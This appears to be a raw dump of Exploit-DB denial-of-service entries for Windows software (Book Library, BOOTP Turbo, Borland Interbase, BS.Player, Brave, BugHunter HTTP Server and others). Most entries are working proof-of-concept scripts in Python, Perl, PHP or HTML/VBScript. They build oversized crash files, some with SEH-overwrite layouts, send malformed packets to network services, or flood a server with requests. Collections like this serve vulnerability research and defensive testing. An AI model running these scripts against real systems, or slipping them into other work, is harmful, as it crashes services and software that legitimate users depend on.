deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12229
Description: Book Library 1.4.162 - '.bkd' Local Denial of Service
Type: dos
Platform: windows
Date: 2010-04-14
Author: anonymous

Exploit:
# Exploit Title: Book Library Local Dos .bkd file
# Date: April 14, 2010
# Software Link: [http://wensoftware.com/]
# Version: v1.4.162
# Tested on: Windows XP SP3
# Author: [anonymous]
# Site: [www.setfreesecurity.com]
# 
# Click Open at top ->
# Find your .bkd file
# No Response about 5 sec
#
# Greetz Daddas, Exploit-DB crew
#
# I'ts hard to concentrate with echo's of your voice in my head.
#
#!/usr/bin/env python

import time

print "The Encyclopedia of Unsolved Mysteries\n"
time.sleep(1)

book=open('unsolved.bkd', 'w')
book.write('\x00')
book.close()

print "UFO's, Atlantis, Nessie, Oh My!\n"
Exploit-DB #47955
Description: BOOTP Turbo 2.0 - Denial of Service (SEH)(PoC)
Type: dos
Platform: windows
Date: 2020-01-23
Author: boku

Exploit:
# Exploit Title: BOOTP Turbo 2.0 - Denial of Service (SEH)(PoC)
# Exploit Author: boku
# Date: 2020-01-22
# Software Vendor: Wierd Solutions
# Vendor Homepage: https://www.weird-solutions.com
# Software Link: https://www.weird-solutions.com/download/products/bootpt_demo_IA32.exe
# Version: BOOTP Turbo (x86) Version 2.0
# Tested On: Windows 10 Pro -- 10.0.18363 Build 18363 x86-based PC
# Tested On: Windows 7 Enterprise SP1 -- build 7601 64-bit 
# Replicate Crash:
#  1) Download, Install, and Open BootP Turbo v2.0 for windows x86
#  2) Go to Edit > Settings > Click the Detailed Logging Box
#  3) Run python script, open created file 'crash.txt'
#  4) Select-All > Copy All, from file
#  5) Paste buffer in the 'Log File' text-box, Click 'OK'
#  6) Close the 'Control Service' Pop-Up Window
#  7) Crash with SEH Overwrite

# SEH chain of main thread
# Address    SE handler
# 019CD254   43434343
# 42424242   *** CORRUPT ENTRY ***

# Loaded Application Modules
#  Rebase | SafeSEH | ASLR  | NXCompat | Version, Modulename & Path
#  True   | True    | False |  False   | 4.7.3.0 [QtGui4.dll] (C:\Program Files\BOOTP Turbo\QtGui4.dll)
#  True   | True    | False |  False   | 4.7.3.0 [QtCore4.dll] (C:\Program Files\BOOTP Turbo\QtCore4.dll)
#  True   | True    | False |  False   | 10.00.30319.1 [MSVCP100.dll] (C:\Program Files\BOOTP Turbo\MSVCP100.dll)
#  True   | True    | False |  False   | 2.0 [bootptui.exe] (C:\Program Files\BOOTP Turbo\bootptui.exe)
#  True   | True    | False |  False   | 10.00.30319.1 [MSVCR100.dll] (C:\Program Files\BOOTP Turbo\MSVCR100.dll)

#!/usr/bin/python

offset = '\x41'*2196
nSEH = '\x42\x42\x42\x42'
SEH = '\x43\x43\x43\x43'
filler = '\x44'*(3000-len(offset+nSEH+SEH))

payload = offset+nSEH+SEH+filler

try:
    f=open("crash.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #5427
Description: Borland Interbase 2007 - 'ibserver.exe' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-04-11
Author: Liu Zhen Hua

Exploit:
###############################################################################################################
#                                 POC.pl                                                                   #
###############################################################################################################
#!/usr/bin/perl -w
#Author:  Liu Zhen Hua <alau [at] 163.com>

use IO::Socket;
use strict;
my $host=$ARGV[0];
sub usage {
print "usage: perl poc.pl serverip\n";
}
if ($#ARGV < 0) {
usage();
exit();
}
my $victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$host,
                                PeerPort=>3050);
my $pad0 = "\x41"x1000;       #"\x00\x00\x03\xE8"
my $pad5 = "\x43"x16;
my $exploit = "\x00\x00\x00\x52\xFF\xFF\xFF\xFF\x00\x00\x03\xE8".$pad0."\x00\x00\x00\x10".$pad5;
print $victim $exploit ;
print " + Malicious  request sent ...\n";
sleep(1);
print "Done.\n";
close($victim);
exit;

# milw0rm.com [2008-04-11]
Exploit-DB #31330
Description: Borland VisiBroker Smart Agent 08.00.00.C1.03 - Multiple Remote Vulnerabilities
Type: dos
Platform: windows
Date: 2008-03-03
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28084/info

Borland VisiBroker Smart Agent is prone to multiple remote vulnerabilities, including a heap-based buffer-overflow issue and a denial-of-service issue.

A successful exploit will allow remote attackers to execute arbitrary code in the context of the affected software or to crash the affected application, denying service to legitimate users.

These issues affect Borland VisiBroker Smart Agent 08.00.00.C1.03; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31330.zip
Exploit-DB #45859
Description: Bosch Video Management System 8.0 - Configuration Client Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-11-14
Author: Daniel

Exploit:
# Exploit Title: Bosch Video Management System 8.0-Configuration Client-Denial of Service (Poc)
# Discovery by: Daniel
# Discovery Date: 2018-11-12
# Software Name: Bosch Video Management System
# Software Version: 8.0
# Vendor Homepage: https://www.boschsecurity.com/xc/en/products/management-software/bvms/
# Software Link: https://la.boschsecurity.com/es/productos/videosystems_1/videosoftware_1/videomanagementsystems_1/boschvideomanagementsyste_8/boschvideomanagementsyste_8_44761
# Tested on: Windows 10 Pro x64

#Make sure that during the installation of software you installed all the program features available.
#This PoC was carried out in 'Configuration Client', which is part of 'Bosch Video Management System'.

# Steps to produce the crash:
# 1.- run: dos.py
# 2.- Open bosch.txt and copy content to clipboard
# 2.- Open Configuration Client (Normally the installer creates a direct link in desktop)
# 3.- Click on 'Connection:' box and select "Address Book"
# 4.- Copy clipboard in "(Enterprise) Management Server Address:"
# 5.- write "test" in 'Username'
# 6.- Write "test" in 'Password'
# 7.- Click on 'OK'
# 8.- Crash


#!/usr/bin/python

buf = "\x41" * 64
f = open('bosch.txt', 'w')
f.write(buf)
f.close()
Exploit-DB #44475
Description: Brave Browser < 0.13.0 - 'window.close(self)' Denial of Service
Type: dos
Platform: windows
Date: 2018-04-17
Author: Sahil Tikoo

Exploit:
# Exploit Title:Brave Browser < 0.13.0 Denial of Service (resource consumption) via a window.close(self) js code.
# Date: 2017-10-16
# Exploit Author: Sahil Tikoo
# Vendor Homepage: https://brave.com
# Software Link: https://github.com/brave/browser-laptop
# Version: 0.12.5
# Tested on: Kali Linux,Ubuntu ,Windows OS
# CVE : CVE-2016-10718

<html>
<title>Brave Window Object Remote Denial of Service.</title>
<head></head>

<body><br><br>
<h1><center>Brave Window Object Remote Denial of Service</center></h1><br><br>
<h2><center>Proof of Concept</center></br></br> </h2>

<center>
<b>Click the below link to Trigger the Vulnerability..</b><br><br>
<hr></hr>

<hr></hr>
<b><center><a href="javascript:window.close(self);">Brave Window Object DoS Test POC</a></center>

</center>
</body>

</html>
Exploit-DB #14671
Description: Brazip 9.0 - '.zip' Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2010-08-17
Author: ITSecTeam

Exploit:
#!user/bin/python
######################################################################
# Brazip 9.0 (.zip File) BoF Poc (SEH) 
# Homepage  : www.brazip.com.br
# Version   : 9.0
# Tested Os : Windows XP SP1/SP3 EN 
# Usage     : $ Python Brazip-poc.py
######################################################################
#AUTHOR: ITSecTeam
#Email: Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability60.htm
#Thanks: Hoshang jafari  aka [PLATEN]
######################################################################
import sys
print __banner__

header_1 =("x50\x4B\x03\x04\x14\x00\x00"
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00" 
"\xe4\x0f" 
"\x00\x00\x00")
 
header_2 = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
 
header_3 = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")
nseh="\x41\x41\x41\x41"  
seh="\x65\x47\x7e\x6d"   

payload = "A" * 297 + nseh  + seh

predecoder = "\x59\x59\x59\x51\x5c"
payload=payload+predecoder
filltoebx="B" * (100-len(predecoder))
rest = "C" *  (4064-len(payload+filltoebx)) + ".txt"
payload = payload+filltoebx+rest
exploit = header_1 + payload + header_2 + payload + header_3
 
try:
	f=open("Brazip-poc.zip",'w')
	f.write(exploit)
	f.close()
	print   "[+] File created successfully !" 
	sys.exit(0)
except:
	print "[-] Error cant write file to system\n"
Exploit-DB #19702
Description: BroadGun Software CamShot WebCam 2.5 - GET Buffer Overflow
Type: dos
Platform: windows
Date: 1999-12-30
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/905/info

CamShot is a webserver designed to work in conjunction with computer video cameras. The software will crash, and possibly allow for execution of arbitrary code, if a GET request of more than 2000 bytes is received.

DoS attack:
GET [2000 chars] HTTP/1.1
Exploit-DB #17772
Description: BroadWin Webaccess Client - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2011-09-02
Author: Luigi Auriemma

Exploit:
Application:  BroadWin WebAccess Client
              http://broadwin.com/Client.htm
Versions:     bwocxrun.ocx <= 1.0.0.10 (aka version 7.0)
Platforms:    Windows
Bugs:         A] format string
              B] arbitrary memory corruption
Exploitation: remote
Date:         02 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"WebAccess is the first fully web browser-based software package for
human-machine interfaces (HMI), and supervisory control and data
acquisition (SCADA)."

The various operations are handled by the bwocxrun.ocx ActiveX
component which is available (but it's not updated) also in Advantech
WebAccess (http://webaccess.advantech.com).


#######################################################################

=======
2) Bugs
=======

----------------
A] format string
----------------

The OcxSpool function is affected by a format string vulnerability
caused by the usage of the Msg string provided by the attacker directly
with vsprintf() without the required format argument.


------------------------------
B] arbitrary memory corruption
------------------------------

WriteTextData and CloseFile allow to corrupt arbitrary zones of the
memory through a fully controllable stream identifier in fclose() and
fwrite().


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/bwocxrun_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17772.zip (bwocxrun_1.zip)


#######################################################################

======
4) Fix
======


No fix.
Exploit-DB #9457
Description: broid 1.0 Beta 3a - '.mp3' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-18
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# broid 1.0 Beta 3a (.mp3 File) Local Stack Overflow PoC
# http://s1.freedownloadsplace.com/download-soft1/broid-1.0-Beta-3a.zip
########################################################################################
##EAX 8C8C8C7D
##ECX 41414141
##EDX C3C3C3C3
##EBX 00FE28B8 ASCII "C:\Documents and Settings\ahmed\Desktop\hack4love.mp3"
##ESP 0012EF74
##EBP 00FFE128
##ESI 00001388
##EDI 41414141
##EIP 004784FF broidegn.004784FF
#######################################################################################
#Thanks*SimO-s0fT /\RAYO/\deco017/\mo7areb/\ELNAMER ELMASRY/\EL7ADRANY/\SKULL-HACKER
# Stack/\His0k4/\ThE g0bL!N/\ZAX/\ASER ELRO7/\SAR7ABEL ELSAFA7
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.mp3');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-08-18]
Exploit-DB #7721
Description: Browse3D 3.5 - '.sfs' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-11
Author: Houssamix

Exploit:
#!/usr/bin/perl -w

# -- Viva Gazza -- Viva Palestine --

# Browse3D v3.5 (.sfs) File Local Buffer overflow PoC
# http://www.browse3d.com/downloads/Browse3Dsetup.exe

# Author : Houssamix

# create file exploit > open it > 
# Error : Access violation at 0x41414141 ( tried to read from 0x41414141 ), program terminated.

# we can't run this program under the debugger !!! any way i think it's can be exploited . good luck !

print "===================================================================== \n";
print "Author : Houssamix 						    \n";
print "===================================================================== \n";
print "Browse3D v3.5 Local Buffer overflow PoC				  \n";
print "===================================================================== \n";

my $adresse = "AAAA" ; 
my $nop = "\x90" x 261;

my $file = "Houssamix.sfs";
$exploit = $nop.$adresse;

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;


close($FILE);
print "$file has been created open it  with Browse3D v 3.5\n";

# milw0rm.com [2009-01-11]
Exploit-DB #3155
Description: BrowseDialog Class 'ccrpbds6.dll' Internet Explorer 7 - Denial of Service
Type: dos
Platform: windows
Date: 2007-01-18
Author: shinnai

Exploit:
<!--
-----------------------------------------------------------------------------------------------------------
BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------------------------------------
-->
<html>
<object classid='clsid:19E6E148-BAEC-11D2-B03A-EAFC20524153' id='CCRP_BDc'></object>
<script language='vbscript'>

argCount = 1

arg1=String(2000000, "A")

CCRP_BDc.SelectedFolder = arg1
</script>

<script language='javascript'>
document.location.reload()
</script>

# milw0rm.com [2007-01-18]
Exploit-DB #3350
Description: BrowseDialog Class - 'ccrpbds6.dll' Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2007-02-21
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 BrowseDialog Class (ccrpbds6.dll) multiple methods Denial of Service
 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 Soundtrack: "Zeta Reticoli" (Meganoidi)
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 I found other two methods in this dll that are unable to handle long string.
 It seems to be a Stack Overflow, but I'm not sure of this :)
------------------------------------------------------------------------------


<object classid='clsid:19E6E148-BAEC-11D2-B03A-EAFC20524153' id='BrowseDialog'></object>
<select style="width: 404px" name="Pucca">
  <option value = "IsFolderAvailable">IsFolderAvailable</option>
  <option value = "RootFolder">RootFolder</option>
  <option value = "Quoting">Quoting...</option>
</select>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   if Pucca.value="IsFolderAvailable" then
     argCount   = 1
     arg1=String(1000000, "A")
     BrowseDialog.IsFolderAvailable arg1
     BrowseDialog.IsFolderAvailable arg1
   elseif Pucca.value="RootFolder" then
     argCount   = 1
     arg1=String(1000000, "A")
     BrowseDialog.RootFolder = arg1
     BrowseDialog.RootFolder = arg1
   else
     MsgBox "Brucia ancora che prima o poi ritornerò" & vbCrLf & _
     "Conservo di nascosto sempre lo stesso smalto" & vbCrLf &_
     "Non temere zeta reticoli on my mind" & vbCrLf &_
     "Aspetterò il momento per un migliore slancio"
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-02-21]
Exploit-DB #5455
Description: BS.Player 2.27 Build 959 - '.srt' File Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-04-16
Author: j0rgan

Exploit:
#!/usr/bin/python
#
# BS.player 2.27 Build 959 SRT Buffer Overflow 
# Just rename movie.srt file with the name of the movie you like...
#
# Vulnerability discovered by Muris Kurgas a.k.a j0rgan
# jorganwd [at] gmail [dot] com

# http://www.jorgan.users.cg.yu
#
# bolexxx, learn something, ladies will come soon or l8r man!
# red pill rocks!
# no muts, no pain :)

import os

bafer = 'A' * 80000

fileHandle = open ( 'movie.srt', 'w' )
fileHandle.write ( '1\n00:00:01,001 --> 00:00:05,099\n'+bafer ) 
fileHandle.close() 

# milw0rm.com [2008-04-16]
Exploit-DB #33711
Description: BS.Player 2.51 - '.mp3' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-03-05
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/38568/info

BS.Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

BS.Player 2.51 Build 1022 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8837.mp3
Exploit-DB #34767
Description: BS.Player 2.56 - '.m3u' / '.pls' File Processing Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2010-09-26
Author: modpr0be

Exploit:
# source:  https://www.securityfocus.com/bid/43502/info
#
# BS.Player is prone to multiple remote denial-of-service vulnerabilities.
#
# An attacker can exploit these issues to cause an affected application to crash, denying service to legitimate users.
#
# BS.Player 2.56 is vulnerable; other versions may also be affected.
#

#!/usr/bin/python
#
# Exploit Title: BS.Player 2.56 (Build 1043) .m3u and .pls Denial of Service
# Date: September 27, 2010
# Author: modpr0be
# Software Link: http://www.bsplayer.com/bsplayer-setup.exe
# Version: 2.0.0
# Tested on: Windows XP SP3/2003
# CVE : -
 
# How it works?
# Open BS.Player --> Open the Playlist Window --> Load m3u/pls file --> boom!
#
# SEHandler
# bsplayer.00410041
#
# 0012F74C   00410041  A.A.  Pointer to next SEH record
# 0012F750   00410041  A.A.  SE handler
#
# I think this is a kind of unicode exploit. I'm learning this, hope it will run calc, soon.
# btw...thx corelanc0d3r (PVE) for his great exploit writing tutorial ;)
#
 
junk = "\x41" * 25000
 
file = open('blah.m3u','w')  # change it if you want to try the .pls
file.write(junk)
file.close()
Exploit-DB #18926
Description: bsnes 0.87 - Local Denial of Service
Type: dos
Platform: windows
Date: 2012-05-25
Author: Yakir Wizman

Exploit:
<?php
# bsnes v0.87 Local Daniel Of Service
# Tested on Windows 7 64Bit
# Software Site: http://byuu.org/bsnes/
# Software Download: http://www.emulator-zone.com/download.php/emulators/snes/bsnes/bsnes_v087-64bit.7z
# Author: Pr0T3cT10n
##################################################################
# bsnes v0.87 is vulnerable to local denial of service attack.
# When we try to open a file by 'Catridge' -> 'Load NES Catridge' 
# that contains 9999 chars ('A'), so bsnes should crash.
##################################################################
# PoC / Code:
$buffer = str_repeat('A', 9999); # Create 9999 chars('A')..
if(file_put_contents('crash.nes', $buffer)) {
 echo("File created successfuly.\r\bsnes should crash when you open the file with it.\r\n");
} else {
 echo("Can't create file. Please try again.\r\n");
}
# Cya :)
# 0x31337.net
####################
?>

# Exploit-DB Note:
# 32bit version also affected
# Tested on: Windows XP Pro Eng.
# http://www.emulator-zone.com/download.php/emulators/snes/bsnes/bsnes_v087-32bit.7z
Exploit-DB #18173
Description: Bugbear FlatOut 2005 - '.bed' File Buffer Overflow
Type: dos
Platform: windows
Date: 2011-11-30
Author: Silent_Dream

Exploit:
#Exploit Title: FlatOut Malformed .bed file Buffer Overflow
# Date: 11-29-11
# Author: Silent Dream
# Software Link: http://www.gog.com/en/gamecard/flatout
# Version: Latest
# Tested on: Windows 7

#Tested on GOG.com copy of FlatOut.  Exception offset = 61616161
#Multiple .bed files are vulnerable to buffer overflows...too many to even begin to list..

my $file = "playlist_0.bed";
my $head = "Title	=	\"";
my $junk = "a" x 3000 . "\"\r";
my $tail = "Loop	= {" . "\r}";
open($File, ">$file");
print $File $head.$junk.$tail;
close($FILE);
print "Overwrite the original playlist_0.bed file in %program files%\\GOG.com\\FlatOut\\data\\music and launch flatout.exe...wait for the crash\r\n";
Exploit-DB #9478
Description: BugHunter HTTP Server 1.6.2 - 'httpsv.exe' GET 404 Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-06-21
Author: Prili

Exploit:
#!/usr/bin/perl
#GetOpt STD module
use IO::Socket;
use Getopt::Std;
getopts(":i:p:",\%args);
if(defined $args{i}){
$ip = $args{i};
}
if(defined $args{p}){
$port = $args{p};
}
if(!defined $args{i} or !defined $args{p}){
print "-----------------------------------------------------\n";
print "HTTP SERVER (httpsv1.6.2) 404 Denial of Services\n";
print "Site: http://httpsv.sourceforge.net/\n ";
print "Info: If u send to the server between 40-1000 requests\n";
print "to nonexisting pages the process will die.\n";
print "Found By Prili - imprili[at]gmail.com\n";
print "Usage: perl $0 -i <ip address> -p <port> \n";
print "Thanks to shinnai for the inspiration.\n";
print "-----------------------------------------------------\n";
exit;
}
$protocol = "tcp";
while ($i<=1000)
{
$request = "GET /AAAAAAA HTTP/1.0 \n\n";
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                               PeerPort=>$port,
                               Proto=>$protocol,
                               Timeout=>'1') || die "Can't connect to address!\n";
                               
print "sending request number $i...\n";
print $socket $request;
close($socket);
$i++;
}

# milw0rm.com [2007-06-21]